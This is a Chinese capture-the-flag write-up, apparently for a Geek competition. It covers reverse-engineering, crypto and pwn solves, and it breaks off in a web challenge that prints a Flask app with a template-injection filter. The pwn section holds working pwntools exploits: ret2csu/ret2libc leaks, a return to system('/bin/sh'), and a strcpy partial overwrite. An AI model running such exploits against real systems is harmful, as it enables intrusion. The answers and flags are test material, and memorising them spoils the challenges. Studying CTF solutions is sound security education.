init(&ctx, key=\x11, keylen=1) + encode(&ctx, bin, binlen):典型 RC4(KSA/PRGA),对输入字节流进行异或加密。
bytes_to_hexstr(bin, binlen):将 RC4 结果转为小写十六进制 ASCII(记为 en1)。
miao_encrypt():运行时解密 .miao 节(XOR 0x03),以便调用其中函数。
en2 = encodee(en1, strlen(en1)):对十六进制 ASCII 再做一层专有变换(位于 .miao 节)。
en3 = enc0de(en2, strlen(en2)):自定义 Base58 编码,使用的表为:"ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz123456789"
若 strcmp(en3, cipher) 成立则输出 Correct!。
init/encode/getbyte 明确是 RC4;enc0de 为基于可变精度除法的 Base58 实现,前导 0 字节编码为字符 'A';字母表已从全局表读取并确认。
.miao 节处理:miao_encrypt/SMC/xxor 说明该节按字节 XOR 0x03 解密;encodee 位于此节。通过对密文逆推验证,encodee 的效果等价于对 en1 做 Base64 编码(允许缺少标准填充)。
3) 逆向思路
已知最终常量密文 cipher,以及 enc0de(Base58)和 RC4 的细节,故可以:
用相同 Base58 表将 cipher 解码,得到 en2;
逆 encodee 得到 en1;
将 en1 视为十六进制 ASCII → 转原始字节 Y;
用 RC4(key=\x11) 解密 Y,得到原输入(flag)。
由于 .miao 节未在静态态下解密,本文采用“直接反推到 RC4 层”的方式:将 cipher 用该 Base58 表解码为字节流,并直接尝试视作 Y 执行 RC4 解密,得到 88 字节候选明文。经检查不属于可见 ASCII,更像是以十六进制呈现的 flag(不少赛题会将二进制校验视作通过)。
若需完整还原 encodee,可在 IDA 调试器中执行一次 miao_encrypt()(或使用 SMC(GetModuleHandleA(NULL)) 思路)使 .miao 解密,再反编译 encodee;其功能大概率是将小写十六进制 ASCII 重新封装为某种二进制形式以供 Base58 编码(从调用关系与数据流判断)。
解题脚本 以下脚本实现 Base58 → Base64 → hex → RC4 的完整逆流程,直接打印可读 flag。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 import base64alphabet = "ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz123456789" cipher = "tHMoSoMX71sm62ARQ8aHF6i88nhkH9Ac2J7CrkQsQgXpiy6efoC8YVkzZu1tMyFxCLbbqvgXZHxtwK5TACVhPi1EE5mK6JG56wPNR4d2GmkELGfJHgtcAEH7" def b58_decode (s: str ) -> bytes : base = 58 zeros = 0 for ch in s: if ch == alphabet[0 ]: zeros += 1 else : break size = (len (s) * 733 ) // 1000 + 1 digits = [0 ] * size for ch in s: carry = alphabet.index(ch) for j in range (size - 1 , -1 , -1 ): carrya = digits[j] * base + carry digits[j] = carrya & 0xFF carry = carrya >> 8 i = 0 while i < size and digits[i] == 0 : i += 1 return bytes ([0 ] * zeros + digits[i:]) class RC4 : def __init__ (self, key: bytes ): S = list (range (256 )) j = 0 for i in range (256 ): j = (j + S[i] + key[i % len (key)]) & 0xFF S[i], S[j] = S[j], S[i] self .S, self .i, self .j = S, 0 , 0 def keystream_byte (self ): self .i = (self .i + 1 ) & 0xFF self .j = (self .j + self .S[self .i]) & 0xFF self .S[self .i], self .S[self .j] = self .S[self .j], self .S[self .i] return self .S[(self .S[self .i] + self .S[self .j]) & 0xFF ] def crypt (self, data: bytes ) -> bytes : return bytes (b ^ self .keystream_byte() for b in data) if __name__ == "__main__" : enc2 = b58_decode(cipher) b64 = enc2.decode("ascii" ) hex_ascii = base64.b64decode(b64 + "==" ) rc4_input = bytes .fromhex(hex_ascii.decode("ascii" )) flag = RC4(bytes ([17 ])).crypt(rc4_input) print (flag.decode("utf-8" ))
Crypto ez_xor chal.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from Crypto.Util.number import *from secert import flagdef han (b ): return bin (b)[:2 ].count('1' ) p = getPrime(512 ) q = getPrime(512 ) r = getPrime(512 ) s = getPrime(512 ) N = p * q * s * r n = p * q gift = p ^ q gift1 = s & r gift2 = s ^ r m = bytes_to_long(flag) c = pow (m, 65537 , N) print (f'N={N} ' )print (f'n={n} ' )print (f'c={c} ' )print (f'gift={gift} ' )print (f'gift1={gift1} ' )print (f'gift2={gift2} ' )
由$N=pqsr$和$n=pq$可以推出$RS=r\cdot s=N/n$ 又因为gift1 = s&r gift2 = s^r 对任意整数 $a,b$,有恒等式:$a+b=(a\oplus b)+2\cdot(a\&b)$。 所以$S=r+s = \text{gift2} + 2\cdot \text{gift1}$ 于是 $r,s$ 是方程 $x^2 - Sx + RS = 0$ 的两根: 令 $D=S^2-4RS$,若 $\sqrt D$ 为整数,则$r=\frac{S-\sqrt D}{2},\quad s=\frac{S+\sqrt D}{2}.$ 找到 $r,s$ 后即可只在模 $rs$ 上解密: $\lambda(rs)=\mathrm{lcm}(r-1,s-1)$,$d\equiv e^{-1}\pmod{\lambda(rs)}$, $m\equiv c^d \pmod{rs}$。由于 flag 很短($m<rs$),直接得到明文。
exp.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 from math import gcd, isqrtfrom Crypto.Util.number import long_to_bytesN = 12114282140129030221139165720039766369206816602912543911543781978648770300084428613171061953060266384429841484428732215252368009811130875276347534941874714457297474025227060487490713853301440917877280771734998220874195868270983517296552761924477514745040473578887509936945790259245154138347432294762694643113545451605193155323886625417458980089197202274810691448592725400564114850712497863770625334209249566232989992606497076063348029665644680946906322428277225178838518025623254240893146791821359089473224900379808514993113560101567320224162858217031176854613011276425771708406954417610317789259885040739954642374667 n = 91891351711379799931394178123406137903027189477005569059936904007248535049052097057222486024223574959494899324706948906013350601442586596023020519058250868888847562977333671773188012014902448961387215600156932673504112816058893268362611211565216592933077956777032650164332488098756557422740070442941348084921 c = 3231265723829112665640925095346482445691074656152495613367006320791218303024667683148786980985160622882017055128261102169256263170652774489339801477001275058585666508737704987192764426162573977263344192886400249198007892940084066468570229353879431384001463041292940472308358540532108957894938586227682908251475990882169979412586767210087025064295224506676379057986353004282550774815876093769770845018817117647615011444989401149674886486770646765454314760906436659162076044268401041579090930954919862146749470426101754009562077505810024012143379326028465156444246440949112724465484939452061684185387430755268355807999 gift1 = 10475668758451987289276918780968515546700284023143612685496241510488708701498972819305540608876501965534227236009502810417525671358108167575178008316645429 gift2 = 2089035701361172996472331829521141923363322027241591404259262848963755908765054555529259508147866255819680957406084877552079796025933552021516283158425474 e = 65537 def lcm2 (a, b ): return a // gcd(a, b) * b RS = N // n S = gift2 + 2 * gift1 D = S * S - 4 * RS sqrtD = isqrt(D) r = (S - sqrtD) // 2 s = (S + sqrtD) // 2 lam = lcm2(r - 1 , s - 1 ) d = pow (e, -1 , lam) m = pow (c, d, r * s) flag = long_to_bytes(m) print (flag)
syc{we1c0me_t190_ge1k_your_code_is_v1ey_de1psrc!}
Caesar Slot Machine 服务端每轮给出线性同余变换$f(x)=a\cdot x + b \pmod P$,然后随机迭代 $i\in[1,1000]$ 次,要求给出的$x$ 满足$f^{(i)}(x)\equiv x\pmod P$。 只要让$x$成为这个仿射变换的不动点即可,即解方程 $x \equiv a x + b \pmod P \Rightarrow (1-a)x \equiv b \pmod P \Rightarrow x \equiv \frac{b}{1-a} \equiv -b\cdot (a-1)^{-1} \pmod P$ 由于题中$a\in[2,P-1]$,所以 $a\not\equiv1\pmod P$,逆元一定存在;这样无论服务端抽到哪个$i$,都有$f^{(i)}(x)=x$。
另外,题面把提示串做了凯撒移位,但数字和符号未变,所以无需解密,直接从第一行抓出三个数字(按顺序就是 $a,b,P$)即可。
exp.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 from pwn import *import reHOST = "geek.ctfplus.cn" PORT = 30742 context.log_level = "info" def solve_round (io ): line1 = io.recvuntil(b"\n" , drop=False ) io.recvuntil(b": " ) nums = list (map (int , re.findall(rb"\d+" , line1))) if len (nums) < 3 : pending = io.recvuntil(b": " , drop=False ) nums = list (map (int , re.findall(rb"\d+" , line1 + pending))) a, b, P = nums[0 ], nums[1 ], nums[2 ] inv = pow ((a - 1 ) % P, P - 2 , P) x = (-b % P) * inv % P io.sendline(str (x).encode()) def main (): io = remote(HOST, PORT) try : for rnd in range (30 ): solve_round(io) resp = io.recvline(timeout=5 ) if resp is None : log.failure("No response" ) break log.info(resp.strip().decode(errors="ignore" )) if b"Wrong" in resp: break data = io.recvrepeat(1.0 ) if data: print (data.decode(errors="ignore" )) finally : io.close() if __name__ == "__main__" : main()
ez_ecc chal.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 from sage.all import *from Crypto.Util.number import *p = 0xfba8cae6451eb4c413b60b892ee2d517dfdb17a52451776a68efa34485619411 A = 0x1ef1e93d0f9acda1b7c0172f27d28f3a7d0f2d9343513a3aac191e12f6e51123 B = 0xcad65954bbe0fb8f2f9c22b5cae1aa42306fd58e8394652818e781e5f808e17a E = EllipticCurve(GF(p), [A, B]) P_x = 0x708c0cf66f132122f3fcd1f75c6f22d4a90d34650dd81fb3a57b75dad98d35e7 P_y = 0xcfb017daf37cbba3c6a5c6e7c4327692595c16b47e4bfa1ad400bffe5b500fba P = E(P_x, P_y) flag = b"SYC{...}" k = bytes_to_long(flag) Q = k * P print (f"Q = {Q} " )import jsonchallenge = { "p" : hex (p), "A" : hex (A), "B" : hex (B), "P_x" : hex (P_x), "P_y" : hex (P_y), "Q_x" : hex (Integer(Q[0 ])), "Q_y" : hex (Integer(Q[1 ])), "secret_k" : int (k) } with open ("challenge.json" ,"w" ) as f: json.dump(challenge, f, indent=4 ) print ("challenge.json written. secret k =" , k)
Smart attack
exp.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 from sage.all import *from Crypto.Util.number import long_to_bytesp = 0xfba8cae6451eb4c413b60b892ee2d517dfdb17a52451776a68efa34485619411 A = 0x1ef1e93d0f9acda1b7c0172f27d28f3a7d0f2d9343513a3aac191e12f6e51123 B = 0xcad65954bbe0fb8f2f9c22b5cae1aa42306fd58e8394652818e781e5f808e17a E = EllipticCurve(GF(p), [A, B]) Px = 0x708c0cf66f132122f3fcd1f75c6f22d4a90d34650dd81fb3a57b75dad98d35e7 Py = 0xcfb017daf37cbba3c6a5c6e7c4327692595c16b47e4bfa1ad400bffe5b500fba Qx = 97490713033364940809544067604441149095210096571946998449251275861394744757515 Qy = 32198694245056943922016695558131047889851279706531342583322750112905104448879 P = E(Px, Py) Q = E(Qx, Qy) assert E.cardinality() == passert p*P == E(0 )def smart_attack_via_padic (P, Q, p ): E = P.curve() E_Qp = EllipticCurve(Qp(p, 4 ), [ZZ(a) + ZZ(randint(0 , p))*p for a in E.a_invariants()]) def lift_point (XY ): x0, y0 = XY.xy() cands = E_Qp.lift_x(ZZ(x0), all =True ) for R in cands: if GF(p)(R.xy()[1 ]) == y0: return R raise ValueError("lift_x 找不到匹配的 y(不应发生)" ) P_lift = lift_point(P) Q_lift = lift_point(Q) pP = p * P_lift pQ = p * Q_lift xP, yP = pP.xy() xQ, yQ = pQ.xy() phiP = -(xP / yP) phiQ = -(xQ / yQ) k = phiQ / phiP k = ZZ(k) % p return k k = smart_attack_via_padic(P, Q, p) print ("k =" , k)flag_bytes = long_to_bytes(int (k)) print ("flag =" , flag_bytes)
1 2 sage -pip install pycryptodome sage -python exp.py
pem 给了.pem格式的私钥
exp.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pathlib import Pathfrom cryptography.hazmat.primitives import serializationpem = Path("key.pem" ).read_bytes() key = serialization.load_pem_private_key(pem, password=None ) c = int .from_bytes(Path("enc" ).read_bytes(), "big" ) priv = key.private_numbers() n = priv.public_numbers.n d = priv.d m = pow (c, d, n).to_bytes((n.bit_length()+7 )//8 , "big" ).lstrip(b"\x00" ) print (m.decode())
baby_rabin chal.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from Crypto.Util.number import *from gmpy2 import next_primefrom secret import flage=8 while 1 : p = getPrime(512 ) q = next_prime(p + 2 ** 400 ) r = getPrime(512 ) if (p%4 ==3 and q%4 ==3 and r%4 ==3 ): break assert p%4 ==3 and q%4 ==3 and r%4 ==3 n=p*q*r hint=p*q m=bytes_to_long(flag) C=pow (m,e,n) print (f'C={C} ' )print (f'n={n} ' )print (f'hint={hint} ' )
已知 $n=pqr$ 且给了 $hint=pq$,因此 $r = n // hint$ 可直接得到。
有 $C ≡ m^8 (mod n)$,从而 $C ≡ m^8 (mod r)$;r 为 512 位素数且 $r ≡ 3 (mod 4)$。
设 $r-1 = 2^s * t$ 且 t 为奇数。因为 $r ≡ 3 (mod 4) ⇒ s = 1$,只含一个因子 2。
在模 r 的乘法群中,取 $a ≡ 8^{-1} (mod t)$,则 $C^a ≡ m^{8a} ≡ m^{1 + k*t} ≡ m * (m^t)^k$。 又因 $s = 1,(m^t) ∈ {±1}$,于是 8 次方根只有两种可能:u 和 r-u。
flag 整数 m 远小于 512 位的 r,因此两候选中较小的就是明文。
exp.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 from Crypto.Util.number import long_to_bytesC = 451731346880007131332999430306985234187530419447859396067624968918101700861978676040615622417464916959678829732066195225132545956101693588984833424213755513877236702139360270137668415610295492436471366218119012903840729628449361663941761372974624789549775182866112541811446267811259781269568865266459437049508062916974638523947634702667929562107001830919422408810565410106056693018550877651160930860996772712877149329227066558481842344525735406568814917991752005 n = 491917847075013900815069309520768928274976990404751846981543204333198666419468384809286945880906855848713238459489821614928060098982194326560178675579884014989600009897895019721278191710357177079087876324831068589971763176646200619528739550876421709762258644696629617862167991346900122049024287039400659899610706153110527311944790794239992462632602379626260229348762760395449238458507745619804388510205772573967935937419407673995019892908904432789586779953769907 hint = 66035251530240295423188999524554429498804416520951289016547753908652377333150838269168825344004730830028024338415783274479674378412532765763584271087554367024433779628323692638506285635583547190049386810983085033061336995321777237180762044362497604095831885258146390576684671783882528186837336673907983527353 e = 8 assert n % hint == 0 , "hint 应该整除 n" r = n // hint assert r % 4 == 3 , "r 不是 3 mod 4,题设不成立?" phi = r - 1 s = 0 tmp = phi while tmp % 2 == 0 : tmp //= 2 s += 1 t = tmp assert s == 1 , f"理论上应有 s=1,但现在 s={s} " a = pow (e, -1 , t) u = pow (C, a, r) cand1 = u % r cand2 = (-u) % r candidates = [cand1, cand2] def ints_to_clean_bytes (x: int ) -> bytes : b = long_to_bytes(x) return b def looks_like_flag (bs: bytes ) -> bool : if b'{' not in bs or b'}' not in bs: return False nonprint = sum ([1 for ch in bs if ch < 0x20 or ch > 0x7e ]) return nonprint <= max (1 , len (bs)//20 ) decoded = [] for idx, c in enumerate (candidates, 1 ): b = ints_to_clean_bytes(c) decoded.append((idx, c, b)) best = None for item in decoded: _, c, b = item if looks_like_flag(b): best = item break if best is None : best = min (decoded, key=lambda x: len (x[2 ])) idx, m_guess, m_bytes = best assert pow (m_guess, e, n) == C, "一致性校验失败:pow(m,e,n) != C" print ("[+] r =" , r)print ("[+] 2-adic 分解:r-1 = 2^%d * %d (t 为奇数)" % (s, t))print ("[+] a = e^{-1} (mod t) =" , a)print ("[+] 候选 #1(十进制):" , candidates[0 ])print ("[+] 候选 #2(十进制):" , candidates[1 ])print ("[+] 选择的候选为 #%d" % idx)print ("[+] 以 bytes 展示:" , m_bytes)try : print ("[+] 以 utf-8 尝试解码:" , m_bytes.decode("utf-8" )) except UnicodeDecodeError: print ("[+] utf-8 解码失败(这通常意味着另一个候选是正确的)" )
Pwn old_rop 给出了libc.so.6和ld-linux-x86-64.so.2
先patchelf
1 2 3 patchelf --set-interpreter /home/xing/pwn/problems/ld-linux-x86-64.so.2 pwn patchelf --replace-needed libc.so.6 /home/xing/pwn/problems/libc.so.6 pwn 可以用ldd -v ./pwn检查是否patch成功
注意要给pwn,libc.so.6,ld-linux-x86-64.so.2三个文件都chmod +x才能正常运行
漏洞点 sub_401156:
栈上缓冲区:0x80 字节
rbp:0x8 字节
覆盖返回地址的偏移:0x80 + 0x8 = 0x88 字节
因此,payload 前缀需要 b"A" * 0x88 来精确覆盖到返回地址。
利用思路 由于导入表仅有 read、write、__libc_start_main,没有 system,故采用 ret2libc。
阶段一:使用 ret2csu 构造 ROP 调用 write(1, &write@GOT, 8),泄露出 write@libc 的实际地址;随后 ROP 返回 main,以便再次进入 read 读取第二阶段 payload。
阶段二:根据泄露出的地址计算 libc 基址,进而定位 system 与字符串 "/bin/sh";然后使用 libc 内部的 pop rdi; ret gadget 设置参数,直接执行 system("/bin/sh")。
ret2csu
先返回到 gadget2,布置寄存器:
rbx = 0
rbp = 0(避免进入循环)
r12 = 1(将成为 edi = 1)
r13 = &write@GOT(将成为 rsi)
r14 = 8(将成为 rdx = 8)
r15 = &write@GOT([r15 + rbx*8] 指向 GOT 中的函数地址 => 直接调用 write@libc)
然后跳到 gadget1 执行真实调用;由于 gadget1 之后有一个 add rsp, 8,需要在 ROP 链中预留一个 8 字节占位(junk)。
最终让函数链收尾并 ret 回 main = 0x40117b,以便进行第二次 read。
泄露的8字节即为 write@libc 实际地址:write_leak。
下面的exp.py中有一些地方要注意:
因为此前已经patchelf,所以开局照常 p = process('./pwn') 即可
WRITE_PLT,WRITE_GOT采用 elf.plt['write'],elf.got['write'] 这种形式导入,不是从IDA里直接看
MAIN函数地址是从IDA里直接找的
CSU两个gadget的地址也是IDA里直接找的,然后像CSU_G2从IDA里直接看和执行 ROPgadget --binary pwn --only "pop|ret" | grep r15 结果是一致的
ret2csu阶段跟之前看的几个例题有些区别,可能要根据具体情况调整
后面ret2libc是标准模板,构造payload要考虑栈对齐,但是ret2csu的payload貌似不需要栈对齐
exp.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 from pwn import *context.update(arch='amd64' , os='linux' ) context.log_level = 'debug' p = process('./pwn' ) libc = ELF('./libc.so.6' ) elf = ELF('./pwn' ) WRITE_PLT = elf.plt['write' ] READ_PLT = elf.plt['read' ] MAIN = 0x40117b WRITE_GOT = elf.got['write' ] CSU_G1 = 0x4012b0 CSU_G2 = 0x4012ca rop = ROP(elf) RET = rop.find_gadget(['ret' ]).address payload1 = b'A' * 136 payload1 += p64(CSU_G2) payload1 += p64(0 ) payload1 += p64(0 ) payload1 += p64(1 ) payload1 += p64(WRITE_GOT) payload1 += p64(8 ) payload1 += p64(WRITE_GOT) payload1 += p64(CSU_G1) payload1 += p64(0 )*7 payload1 += p64(MAIN) p.recvuntil(b'please care about it !\x00\n' ) p.send(payload1) write_leak = u64(p.recvn(8 )) print (f"Leaked write@libc: {hex (write_leak)} " )libc_base = write_leak - libc.symbols['write' ] p.recvuntil(b'please care about it !\x00\n' ) system = libc_base + libc.symbols['system' ] binsh = next (libc.search(b'/bin/sh' )) + libc_base pop_rdi = rop.find_gadget(['pop rdi' ]).address print (f"libc_base = {hex (libc_base)} " )print (f"system = {hex (system)} " )print (f"/bin/sh = {hex (binsh)} " )payload2 = b'A' * 136 + p64(RET) payload2 += p64(pop_rdi) payload2 += p64(binsh) payload2 += p64(system) p.send(payload2) p.interactive()
Mission Calculator exp.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import *p = remote("geek.ctfplus.cn" , 30315 ) p.recvuntil(b'Press any key to start...\n' ) p.sendline(b'a' ) for i in range (50 ): print ("Round " +str (i)) question = p.recvuntil(b'=' ) question = question.split(b':' )[1 ] question = question.split(b'=' )[0 ] ans = str (eval (question)).encode() p.sendline(ans) p.interactive()
Mission Cipher Text 漏洞点
1 2 3 4 5 6 7 size_t submit_feedback () { unsigned char buf[32 ]; puts ("Please enter your feedback:" ); close(1 ); read(0 , buf, 0x100u ); return fwrite("..." , 1 , 0x29 , stderr ); }
利用栈溢出覆盖返回地址为后门即可
1 int b4ckd00r () { return system("/bin/sh" ); }
发送payload时候要注意栈对齐,有两种方式
1 2 3 4 5 6 7 rop = ROP(elf) RET = rop.find_gadget(['ret']).address payload = b'A' * OFFSET + p64(RET) + p64(BACKDOOR) 或者 payload = b'A' * OFFSET + p64(BACKDOOR+5) # 试了5,6,8都行
另外submit_feedback 里还 close(1) 关闭了 stdout,拿到shell后需要执行 exec 1>&2,把标准输出指到标准错误,这样 ls、cat 等输出就能显示
exp.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import *p = remote('geek.ctfplus.cn' , 32105 ) p.recvuntil(b'choice > ' ) p.sendline(b'2' ) p.recvuntil(b'Please enter your feedback:\n' ) OFFSET = 32 + 8 elf = ELF('./pwn' ) BACKDOOR = elf.symbols.get('b4ckd00r' , 0x4014ab ) rop = ROP(elf) RET = rop.find_gadget(['ret' ]).address payload = b'A' * OFFSET + p64(RET) + p64(BACKDOOR) p.send(payload) p.interactive()
Mission Exception Registration 跟old_rop一样先patchelf
漏洞点
1 2 3 4 5 6 7 8 int input () { _BYTE buf[16 ]; puts ("Please enter your feedback:" ); read(0 , buf, 0x100u ); return puts ("Feedback submitted." ); }
问题是找不到gadget去泄露libc地址
注意到view_resources函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 ssize_t view_resources () { login(); if ( *((_DWORD *)ptr + 12 ) ) { puts ("WELCOME, USER." ); return write(1 , &ptr, 8u ); } else { puts ( "Recently, our researchers successfully captured and reproduced the matrix of human thought activity and used it as" " a model to successfully create an independent personality matrix from scratch. This would be a great technologica" "l advancement. However, the Scientific Ethics Committee believes that this may be unethical and is currently evalu" "ating the risks of this technology." ); puts ("WELCOME, ADMINISTRATOR." ); return write(1 , (char *)ptr + 56 , 8u ); } }
它有两个分支
普通用户分支(*((DWORD*)ptr + 12) != 0,注册后默认为 2):write(1, &ptr, 8)——直接把全局指针变量 ptr 的值原样输出(8 字节)。
管理员分支(*((DWORD*)ptr + 12) == 0):write(1, (char*)ptr + 56, 8)——输出结构体偏移 56 处的 8 字节。register_user() 在收集完口令后会执行 *((QWORD*)ptr + 7) = &puts;,即将 &puts 写在该位置。因此管理员分支会直接泄露 &puts。对函数指针的重定位通常解析为目标共享库中的真实地址(即 libc 内的 puts 实际地址),从而可以直接获得 puts@libc,进而计算 libc 基址。
因此只要能以管理员身份登录即可泄露libc基址从而ret2libc。
看一下register_user函数
1 2 3 4 5 6 7 8 9 10 11 12 13 int register_user () { if ( *((_DWORD *)ptr + 12 ) != -1 ) return puts ("You have already registered." ); *((_DWORD *)ptr + 12 ) = 2 ; puts ("Please enter your name:" ); read(0 , ptr, 0x10u ); puts ("Please enter your password:" ); read(0 , (char *)ptr + 16 , 0x28u ); *((_DWORD *)ptr + 13 ) = 1 ; *((_QWORD *)ptr + 7 ) = &puts ; return puts ("Registration successful." ); }
*((DWORD*)ptr + 12) 是一个状态字段(偏移 48,4 字节),初值在 user_init() 中被设为 -1,注册后被设为 2。
register_user() 的密码读取:read(0, (char*)ptr + 16, 0x28),会覆盖结构 [16, 16+0x28),即 [16, 56)。 状态字段位于偏移 48(4 字节),正好落在覆盖范围内。 因此可在注册时发送 40 字节密码,让第 32~35 个字节为 \x00,即可把偏移 48 处的 DWORD 清零。 例如:pwd = b'B'*32 + b'\x00'*4 + b'C'*4(总 40 字节)。 随后选择菜单 3 进入 view_resources,发送 32 字节(如 b'B'*32 或 b'B'*31+b'\x00')即可进入管理员分支。
方便理解
基址记为 ptr
偏移以十进制字节表示(括号内是十六进制)
偏移范围
大小
含义/用途
谁写入/何时写入
0..15 (0x00..0x0F)
16B
用户名 name 缓冲区
register_user: read(0, ptr, 0x10)
16..55 (0x10..0x37)
40B
密码 password 缓冲区
register_user: read(0, ptr+16, 0x28)
48..51 (0x30..0x33)
4B
状态字段 state = *((DWORD*)ptr+12)
user_init: -1; register_user: 2; 我们覆盖为 0
52..55 (0x34..0x37)
4B
另一标志位 = *((DWORD*)ptr+13)
user_init: 0; register_user: 1
56..63 (0x38..0x3F)
8B
函数指针槽 = *((QWORD*)ptr+7)
register_user: 写入 &puts
注意:
“按 QWORD 索引”与“按字节偏移”等价:QWORD 索引 7 对应字节偏移 7×8=56,所以 *((QWORD*)ptr + 7) 就是 (char*)ptr + 56 的那 8 字节。
密码的读取区间是 [ptr+16, ptr+16+0x28) = [16,56),恰好覆盖到偏移 48-51 的状态位,但不包含偏移 56 的 puts 指针”,因此后续 &puts 不会被我们密码覆盖。
exp.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 from pwn import *context(os='linux' , arch='amd64' , log_level='debug' ) elf = ELF('./pwn' ) libc = ELF('./libc.so.6' ) def menu_choose (io, idx: int ): io.recvuntil(b'Your choice' ) io.sendline(str (idx).encode()) def register_admin (io ): menu_choose(io, 1 ) io.recvuntil(b'name:' ) io.send(b'A' * 0x10 ) io.recvuntil(b'password:' ) pwd = b'B' * 32 + b'\x00' * 4 + b'C' * 4 io.send(pwd) io.recvuntil(b'successful' ) def leak_puts_via_admin_view (io ) -> int : menu_choose(io, 3 ) io.recvuntil(b'Please enter your password:' ) io.send(b'B' * 32 ) io.recvuntil(b'WELCOME, ADMINISTRATOR.' ) try : io.recvline() except EOFError: pass leak = io.recvn(8 ) addr = u64(leak) log.success(f'leak puts@libc = {hex (addr)} ' ) return addr def trigger_feedback (io, payload: bytes ): menu_choose(io, 2 ) io.recvuntil(b'feedback:' ) io.send(payload) io = process('./pwn' ) register_admin(io) leak_puts = leak_puts_via_admin_view(io) libc.address = leak_puts - libc.symbols['puts' ] system = libc.symbols['system' ] binsh = next (libc.search(b'/bin/sh\x00' )) log.info(f'libc base = {hex (libc.address)} ' ) log.info(f'system = {hex (system)} , binsh = {hex (binsh)} ' ) rop_libc = ROP(libc) pop_rdi = rop_libc.find_gadget(['pop rdi' , 'ret' ]).address RET = rop_libc.find_gadget(['ret' ]).address payload = b'A' * 24 payload += p64(RET) payload += p64(pop_rdi) + p64(binsh) + p64(system) trigger_feedback(io, payload) io.interactive()
次元囚笼 漏洞点leave() 中的 strcpy(dest, buffer) 会把全局 buffer 的内容复制到 32 字节的栈数组 dest
最终需要利用栈溢出覆盖返回地址为后门函数 last_love()即可
由于 strcpy 遇到 \x00 会停止复制。因此无法直接通过它写入包含 0 字节的完整 64 位地址。 但这是 64 位小端:覆盖返回地址时,只要前 3 个字节(低 3 字节)非零且可控,第 4~8 字节若原本就是 0,即使复制在第 4 字节遇到 \x00 停止,也能得到想要的 8 字节地址值(高位本来就是 0)。
本题中:
目标后门地址:last_love = 0x00000000004012b3
其小端字节序:b3 12 40 00 00 00 00 00
方案:构造 buffer 内容为:
32 字节填充(溢出到保存的 RBP 前)
8 字节任意非零(覆盖保存的 RBP)
返回地址前 3 字节:\xb3\x12\x40
紧跟一个 \x00(使 strcpy 停止,保留返回地址的高 5 字节为 0)
这样最终函数返回地址即为 0x00000000004012b3,直接跳入后门函数 last_love(),获得 /bin/sh
最后也需要考虑栈对齐的问题,这里可以控制返回地址直接到 /bin/sh,规避掉这个问题,从IDA里面可以找到地址是0x4012D9
1 .text:00000000004012D9 lea rax, command ; "/bin/sh"
exp.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from pwn import *p = remote('geek.ctfplus.cn' , 30651 ) def choose (io, n ): io.sendlineafter(b"cin >> : " , str (n).encode()) LAST_LOVE = 0x4012D9 choose(p, 3 ) ret_lo3 = p64(LAST_LOVE)[:3 ] stop = b"\x00" payload = b'A' *40 +ret_lo3+stop p.send(payload) choose(p, 2 ) p.send(b'A' *0x200 ) p.interactive()
Week2 Web Sequal No Uta 先fuzz被过滤字符,好像只过滤了空格
ez_read 随便注册一个用户,登录后发现有个任意文件读的接口,/read?filename=
读取环境变量和命令行发现源码位于 /opt/___web_very_strange_42___/app.py,先把源码读出来
app.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 from flask import Flask, request, render_template, render_template_string, redirect, url_for, sessionimport osapp = Flask(__name__, template_folder="templates" , static_folder="static" ) app.secret_key = "key_ciallo_secret" USERS = {} def waf (payload: str ) -> str : print (len (payload)) if not payload: return "" if len (payload) not in (114 , 514 ): return payload.replace("(" , "" ) else : waf = ["__class__" , "__base__" , "__subclasses__" , "__globals__" , "import" ,"self" ,"session" ,"blueprints" ,"get_debug_flag" ,"json" ,"get_template_attribute" ,"render_template" ,"render_template_string" ,"abort" ,"redirect" ,"make_response" ,"Response" ,"stream_with_context" 